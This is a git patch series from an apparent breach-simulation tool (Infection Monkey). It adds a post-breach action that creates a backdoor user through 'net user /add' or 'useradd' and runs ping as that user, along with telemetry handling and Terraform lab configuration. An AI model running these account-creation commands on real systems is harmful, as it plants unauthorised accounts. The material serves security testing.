a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,7 +1,18 @@ from monkey_island.cc.database import mongo from common.data.post_breach_consts import * +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import test_new_user_communication + + +def process_communicate_as_new_user_telemetry(telemetry_json): + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + success = telemetry_json['data']['result'][1] + message = telemetry_json['data']['result'][0] + test_new_user_communication(current_monkey, success, message) + POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { + POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry, # `lambda *args, **kwargs: None` is a no-op. POST_BREACH_BACKDOOR_USER: lambda *args, **kwargs: None, POST_BREACH_FILE_EXECUTION: lambda *args, **kwargs: None, @@ -13,5 +24,7 @@ def process_post_breach_telemetry(telemetry_json): {'guid': telemetry_json['monkey_guid']}, {'$push': {'pba_results': telemetry_json['data']}}) - if telemetry_json["name"] in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: - POST_BREACH_TELEMETRY_PROCESSING_FUNCS[telemetry_json["name"]](telemetry_json) + post_breach_action_name = telemetry_json["data"]["name"] + if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: + POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json) + diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py new file mode 100644 index 000000000..564ce4d20 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -0,0 +1,35 @@ +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAILED, TEST_COMMUNICATE_AS_NEW_USER, \ + STATUS_PASSED +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.event import Event + + +def test_new_user_communication(current_monkey, success, message): + tried_to_communicate_event = Event.create_event( + title="Communicate as new user", + message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname), + event_type=EVENT_TYPE_MONKEY_NETWORK) + events = [tried_to_communicate_event] + + if success: + events.append( + Event.create_event( + title="Communicate as new user", + message="New user created by Monkey on {} successfully tried to communicate with the internet. " + "Details: {}".format(current_monkey.hostname, message), + event_type=EVENT_TYPE_MONKEY_NETWORK) + ) + test_status = STATUS_FAILED + else: + events.append( + Event.create_event( + title="Communicate as new user", + message="Monkey on {} couldn't communicate as new user. Details: {}".format( + current_monkey.hostname, message), + event_type=EVENT_TYPE_MONKEY_NETWORK) + ) + test_status = STATUS_PASSED + + AggregateFinding.create_or_add_to_existing( + test=TEST_COMMUNICATE_AS_NEW_USER, status=test_status, events=events + ) From 1befe35d34132ca83e9bd2759cee25e2b3231645 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 3 Sep 2019 21:42:48 +0300 Subject: [PATCH 20/78] Added some logs, and more error handling for winapis. Still not working --- .../post_breach/actions/add_user.py | 9 ++- .../actions/communicate_as_new_user.py | 74 ++++++++++--------- 2 files changed, 44 insertions(+), 39 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index b217196d3..9354ca417 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -27,7 +27,7 @@ class BackdoorUser(PBA): @staticmethod def get_commands_to_add_user(username, password): linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) - windows_cmds = BackdoorUser.get_windows_commands_to_add_user(password, username) + windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password) return linux_cmds, windows_cmds @staticmethod @@ -45,12 +45,13 @@ class BackdoorUser(PBA): return linux_cmds @staticmethod - def get_windows_commands_to_add_user(password, username): + def get_windows_commands_to_add_user(username, password, should_be_active=False): windows_cmds = [ 'net', 'user', username, password, - '/add', - '/ACTIVE:NO'] + '/add'] + if not should_be_active: + windows_cmds.append('/ACTIVE:NO') return windows_cmds diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 63daa614c..ba1620180 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -1,3 +1,4 @@ +import logging import os import random import string @@ -15,7 +16,9 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils import is_windows_os USERNAME = "somenewuser" -PASSWORD = "N3WPa55W0rD!@12" +PASSWORD = "N3WPa55W0rD!1" + +logger = logging.getLogger(__name__) class CommunicateAsNewUser(PBA): @@ -33,50 +36,50 @@ class CommunicateAsNewUser(PBA): if not self.try_to_create_user_windows(username, PASSWORD): return # no point to continue if failed creating the user. - # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera - new_user_logon_token_handle = win32security.LogonUser( - username, - ".", # current domain - PASSWORD, - win32con.LOGON32_LOGON_BATCH, # logon type - win32con.LOGON32_PROVIDER_DEFAULT) # logon provider - - if new_user_logon_token_handle == 0: + try: + # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera + new_user_logon_token_handle = win32security.LogonUser( + username, + ".", # use current domain + PASSWORD, + win32con.LOGON32_LOGON_INTERACTIVE, # logon type - interactive (normal user) + win32con.LOGON32_PROVIDER_DEFAULT) # logon provider + except Exception as e: PostBreachTelem( self, - ("Can't logon as {} Last error: {}".format(username, win32api.GetLastError()), False) + ("Can't logon as {}. Error: {}".format(username, e.message), False) ).send() return # no point to continue if can't log on. # Using os.path is OK, as this is on windows for sure ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe") if not os.path.exists(ping_app_path): - PostBreachTelem(self, ("{} not found".format(ping_app_path), False)).send() + PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send() return # Can't continue without ping. - # Open process as that user: - # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera - return_value_create_process = win32process.CreateProcessAsUser( - new_user_logon_token_handle, # A handle to the primary token that represents a user. - # If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module - # to execute, and *lpCommandLine specifies the command line. - ping_app_path, # The name of the module to be executed. - "google.com", # The command line to be executed. - None, # Process attributes - None, # Thread attributes - True, # Should inherit handles - win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. - None, # An environment block for the new process. If this parameter is NULL, the new process - # uses the environment of the calling process. - None, # CWD. If this parameter is NULL, the new process will have the same current drive and - # directory as the calling process. - win32process.STARTUPINFO() # STARTUPINFO structure. - # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa - ) - - if return_value_create_process == 0: + try: + # Open process as that user: + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera + return_value_create_process = win32process.CreateProcessAsUser( + new_user_logon_token_handle, # A handle to the primary token that represents a user. + # If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module + # to execute, and *lpCommandLine specifies the command line. + ping_app_path, # The name of the module to be executed. + "google.com", # The command line to be executed. + None, # Process attributes + None, # Thread attributes + True, # Should inherit handles + win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. + None, # An environment block for the new process. If this parameter is NULL, the new process + # uses the environment of the calling process. + None, # CWD. If this parameter is NULL, the new process will have the same current drive and + # directory as the calling process. + win32process.STARTUPINFO() # STARTUPINFO structure. + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa + ) + except Exception as e: PostBreachTelem(self, ( - "Failed to open process as user. Last error: {}".format(win32api.GetLastError()), False)).send() + "Failed to open process as user {}. Error: {}".format(username, e.message), False)).send() return else: try: @@ -89,7 +92,8 @@ class CommunicateAsNewUser(PBA): def try_to_create_user_windows(self, username, password): try: - windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password) + windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password, True) + logger.debug("Trying these commands: {}".format(str(windows_cmds))) subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) return True except subprocess.CalledProcessError as e: From c371bf8ac53f95e95ecc7cf5763a5546d1be1dee Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 3 Sep 2019 21:52:30 +0300 Subject: [PATCH 21/78] Added 1314 error TODO --- .../post_breach/actions/communicate_as_new_user.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index ba1620180..578886d02 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -78,8 +78,11 @@ class CommunicateAsNewUser(PBA): # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa ) except Exception as e: + # TODO: if failed on 1314, try to add elevate the rights of the current user with the "Replace a + # process level token" right, using Local Security Policy editing (need to find how to do this using + # python... PostBreachTelem(self, ( - "Failed to open process as user {}. Error: {}".format(username, e.message), False)).send() + "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() return else: try: From 3469ec6996477976cdce9f5e67e20c8601d04161 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 3 Sep 2019 22:35:18 +0300 Subject: [PATCH 22/78] Still need to test linux --- .../actions/communicate_as_new_user.py | 32 ++++++++++++------- .../post_breach/post_breach_handler.py | 2 ++ 2 files changed, 23 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 578886d02..6eaf73db5 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -4,7 +4,6 @@ import random import string import subprocess -import win32api import win32con import win32process import win32security @@ -15,6 +14,9 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils import is_windows_os +CREATED_PROCESS_AS_USER_WINDOWS_FORMAT = "Created process '{}' as user '{}'." +CREATED_PROCESS_AS_USER_LINUX_FORMAT = "Created process '{}' as user '{}'. Some of the output was '{}'." + USERNAME = "somenewuser" PASSWORD = "N3WPa55W0rD!1" @@ -60,12 +62,11 @@ class CommunicateAsNewUser(PBA): try: # Open process as that user: # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera - return_value_create_process = win32process.CreateProcessAsUser( + commandline = "{} {}".format(ping_app_path, "google.com") + _ = win32process.CreateProcessAsUser( new_user_logon_token_handle, # A handle to the primary token that represents a user. - # If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module - # to execute, and *lpCommandLine specifies the command line. - ping_app_path, # The name of the module to be executed. - "google.com", # The command line to be executed. + None, # The name of the module to be executed. + commandline, # The command line to be executed. None, # Process attributes None, # Thread attributes True, # Should inherit handles @@ -77,18 +78,27 @@ class CommunicateAsNewUser(PBA): win32process.STARTUPINFO() # STARTUPINFO structure. # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa ) + + PostBreachTelem(self, ( + CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send() + return except Exception as e: - # TODO: if failed on 1314, try to add elevate the rights of the current user with the "Replace a - # process level token" right, using Local Security Policy editing (need to find how to do this using - # python... + # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the "Replace a + # process level token" right, using Local Security Policy editing. Worked, but only after reboot. So: + # 1. need to decide if worth it, and then + # 2. need to find how to do this using python... PostBreachTelem(self, ( "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() return else: try: linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) - linux_cmds.extend([";", "sudo", "-", username, "-c", "'ping -c 2 google.com'"]) - subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True) + commandline = "'ping -c 2 google.com'" + linux_cmds.extend([";", "sudo", "-", username, "-c", commandline]) + output = subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True) + PostBreachTelem(self, ( + CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:50]), True)).send() + return except subprocess.CalledProcessError as e: PostBreachTelem(self, (e.output, False)).send() return diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 7c5bea27d..034e1c451 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -46,7 +46,9 @@ class PostBreach(object): if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))] # Get post breach action object from class for pba_class in pba_classes: + LOG.debug("Checking if should run PBA {}".format(pba_class.__name__)) if pba_class.should_run(pba_class.__name__): pba = pba_class() pba_list.append(pba) + LOG.debug("Added PBA {} to PBA list".format(pba_class.__name__)) return pba_list From 4f67eea2a18016ebb2d51027139855adafb1ced1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 10:19:36 +0300 Subject: [PATCH 23/78] Improved monkeyzoo docs, updated config, fixed prefix bugs --- envs/monkey_zoo/docs/fullDocs.md | 42 ++++++++++++------- envs/monkey_zoo/terraform/config.tf | 2 +- envs/monkey_zoo/terraform/monkey_zoo.tf | 56 ++++++++++++------------- envs/monkey_zoo/terraform/templates.tf | 6 +-- 4 files changed, 58 insertions(+), 48 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 4f795af45..a8c0687fc 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -58,7 +58,7 @@ Requirements: To deploy: 1. Configure service account for your project: - a. Create a service account and name it “your\_name-monkeyZoo-user” + a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user” b. Give these permissions to your service account: @@ -74,7 +74,7 @@ To deploy: **Project -> Owner** - c. Download its **Service account key**. Select JSON format. + c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**. 2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them): a. **Compute Engine -\> Compute image user** @@ -82,20 +82,30 @@ To deploy: ../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to link to your service account key file): - > provider "google" { - > - > project = "project-28054666" - > - > region = "europe-west3" - > - > zone = "europe-west3-b" - > - > credentials = "${file("project-92050661-9dae6c5a02fc.json")}" - > - > } - > - > service\_account\_email="test@project-925243.iam.gserviceaccount.com" - + provider "google" { + + project = "test-000000" // Change to your project id + + region = "europe-west3" // Change to your desired region or leave default + + zone = "europe-west3-b" // Change to your desired zone or leave default + + credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key. + // If you followed instruction above leave it as is + + } + + locals { + + resource_prefix = "" // All of the resources will have this prefix. + // Only change if you want to have multiple zoo's in the same project + + service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email + + monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is. + + } + 4. Run terraform init To deploy the network run:
diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf index 4f9106aae..3a2bf0fc4 100644 --- a/envs/monkey_zoo/terraform/config.tf +++ b/envs/monkey_zoo/terraform/config.tf @@ -2,7 +2,7 @@ provider "google" { project = "test-000000" region = "europe-west3" zone = "europe-west3-b" - credentials = "${file("testproject-000000-0c0b000b00c0.json")}" + credentials = "${file("../gcp_keys/gcp_key.json")}" } locals { resource_prefix = "" diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 40792672c..cf45d93e0 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -48,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.2" } // Add required ssh keys for hadoop service and restart it @@ -65,7 +65,7 @@ resource "google_compute_instance_from_template" "hadoop-3" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.3" } } @@ -80,7 +80,7 @@ resource "google_compute_instance_from_template" "elastic-4" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.4" } } @@ -95,7 +95,7 @@ resource "google_compute_instance_from_template" "elastic-5" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.5" } } @@ -110,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.6" } } @@ -127,7 +127,7 @@ resource "google_compute_instance_from_template" "sambacry-7" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.7" } } @@ -143,7 +143,7 @@ resource "google_compute_instance_from_template" "shellshock-8" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.8" } } @@ -158,11 +158,11 @@ resource "google_compute_instance_from_template" "tunneling-9" { auto_delete = true } network_interface{ - subnetwork="tunneling-main" + subnetwork="${local.resource_prefix}tunneling-main" network_ip="10.2.1.9" } network_interface{ - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.9" } } @@ -177,11 +177,11 @@ resource "google_compute_instance_from_template" "tunneling-10" { auto_delete = true } network_interface{ - subnetwork="tunneling-main" + subnetwork="${local.resource_prefix}tunneling-main" network_ip="10.2.1.10" } network_interface{ - subnetwork="tunneling2-main" + subnetwork="${local.resource_prefix}tunneling2-main" network_ip="10.2.0.10" } } @@ -196,7 +196,7 @@ resource "google_compute_instance_from_template" "tunneling-11" { auto_delete = true } network_interface{ - subnetwork="tunneling2-main" + subnetwork="${local.resource_prefix}tunneling2-main" network_ip="10.2.0.11" } } @@ -211,7 +211,7 @@ resource "google_compute_instance_from_template" "sshkeys-11" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.11" } } @@ -226,7 +226,7 @@ resource "google_compute_instance_from_template" "sshkeys-12" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.12" } } @@ -241,7 +241,7 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.13" } } @@ -257,7 +257,7 @@ resource "google_compute_instance_from_template" "mimikatz-14" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.14" } } @@ -272,7 +272,7 @@ resource "google_compute_instance_from_template" "mimikatz-15" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.15" } } @@ -287,7 +287,7 @@ resource "google_compute_instance_from_template" "mssql-16" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.16" } } @@ -302,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.17" access_config { // Cheaper, non-premium routing @@ -322,7 +322,7 @@ resource "google_compute_instance_from_template" "weblogic-18" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.18" } } @@ -337,7 +337,7 @@ resource "google_compute_instance_from_template" "weblogic-19" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.19" } } @@ -352,7 +352,7 @@ resource "google_compute_instance_from_template" "smb-20" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.20" } } @@ -367,7 +367,7 @@ resource "google_compute_instance_from_template" "scan-21" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.21" } } @@ -382,7 +382,7 @@ resource "google_compute_instance_from_template" "scan-22" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.22" } } @@ -397,7 +397,7 @@ resource "google_compute_instance_from_template" "struts2-23" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.23" } } @@ -412,7 +412,7 @@ resource "google_compute_instance_from_template" "struts2-24" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.24" } } @@ -429,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.250" access_config { // Cheaper, non-premium routing (not available in some regions) @@ -450,7 +450,7 @@ resource "google_compute_instance_from_template" "island-windows-251" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.251" access_config { // Cheaper, non-premium routing (not available in some regions) diff --git a/envs/monkey_zoo/terraform/templates.tf b/envs/monkey_zoo/terraform/templates.tf index ed48864d9..6ae6dafdc 100644 --- a/envs/monkey_zoo/terraform/templates.tf +++ b/envs/monkey_zoo/terraform/templates.tf @@ -1,5 +1,5 @@ resource "google_compute_instance_template" "ubuntu16" { - name = "ubuntu16" + name = "${local.resource_prefix}ubuntu16" description = "Creates ubuntu 16.04 LTS servers at europe-west3-a." tags = ["test-machine", "ubuntu16", "linux"] @@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" { } resource "google_compute_instance_template" "windows2016" { - name = "windows2016" + name = "${local.resource_prefix}windows2016" description = "Creates windows 2016 core servers at europe-west3-a." tags = ["test-machine", "windowsserver2016", "windows"] @@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" { email="${local.service_account_email}" scopes=["cloud-platform"] } -} \ No newline at end of file +} From 2a78b62d00e1d067a6057847d7a14df82c032aae Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 11:35:18 +0300 Subject: [PATCH 24/78] Moved imports to local imports --- .../post_breach/actions/communicate_as_new_user.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 6eaf73db5..2522ab1cf 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -4,10 +4,6 @@ import random import string import subprocess -import win32con -import win32process -import win32security - from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from infection_monkey.post_breach.actions.add_user import BackdoorUser from infection_monkey.post_breach.pba import PBA @@ -39,6 +35,10 @@ class CommunicateAsNewUser(PBA): return # no point to continue if failed creating the user. try: + # Importing these only on windows, as they won't exist on linux. + import win32con + import win32process + import win32security # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera new_user_logon_token_handle = win32security.LogonUser( username, From 005618072dfec88893ecd5c635b65bf9613054d2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 11:46:28 +0300 Subject: [PATCH 25/78] Removed unused mssqlexec objects property --- monkey/infection_monkey/exploit/mssqlexec.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 9e8fdc9fb..61fcd1823 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -43,7 +43,6 @@ class MSSQLExploiter(HostExploiter): def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self.cursor = None - self.monkey_binary_on_host_path = None self.monkey_server = None self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) From 8484925a64a1c90ccb9cdb54c2b450fe8e92181b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 12:05:46 +0300 Subject: [PATCH 26/78] Added aws_instance_id field to monkey model --- monkey/monkey_island/cc/models/monkey.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 35fcd3fcd..c0eeb20b3 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -38,6 +38,8 @@ class Monkey(Document): ttl_ref = ReferenceField(MonkeyTtl) tunnel = ReferenceField("self") command_control_channel = EmbeddedDocumentField(CommandControlChannel) + aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS + # instance. See https://github.com/guardicore/monkey/issues/426. # LOGIC @staticmethod From 02c7d6c30e740948f3be251a1e927099019aa0a8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 12:11:47 +0300 Subject: [PATCH 27/78] Added docs about order of method calls --- monkey/infection_monkey/exploit/mssqlexec.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 61fcd1823..c08aec28d 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -47,6 +47,10 @@ class MSSQLExploiter(HostExploiter): self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) def _exploit_host(self): + """ + First this method brute forces to get the mssql connection (cursor). + Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after + """ # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) From 4f912d9d1e389374efa3fc2c688607692cd4f8f6 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 12:30:55 +0300 Subject: [PATCH 28/78] Fixed sudo usage + added debug logs --- .../post_breach/actions/communicate_as_new_user.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 2522ab1cf..53270e8fb 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -94,7 +94,8 @@ class CommunicateAsNewUser(PBA): try: linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) commandline = "'ping -c 2 google.com'" - linux_cmds.extend([";", "sudo", "-", username, "-c", commandline]) + linux_cmds.extend([";", "sudo", "-u", username, commandline]) + logger.debug("Trying these commands: {}".format(str(linux_cmds))) output = subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True) PostBreachTelem(self, ( CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:50]), True)).send() From 097d8831c87d6220e207905fae977e3f5fd7af2e Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 12:40:53 +0300 Subject: [PATCH 29/78] Joining commands using ,,.join() for linux --- .../post_breach/actions/add_user.py | 16 +++------------- .../actions/communicate_as_new_user.py | 5 +++-- 2 files changed, 6 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 9354ca417..b82c59a66 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -4,16 +4,6 @@ from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER from infection_monkey.post_breach.pba import PBA from infection_monkey.config import WormConfiguration -__author__ = 'danielg' - -LINUX_COMMANDS = ['useradd', '-M', '--expiredate', - datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', - WormConfiguration.user_to_add] - 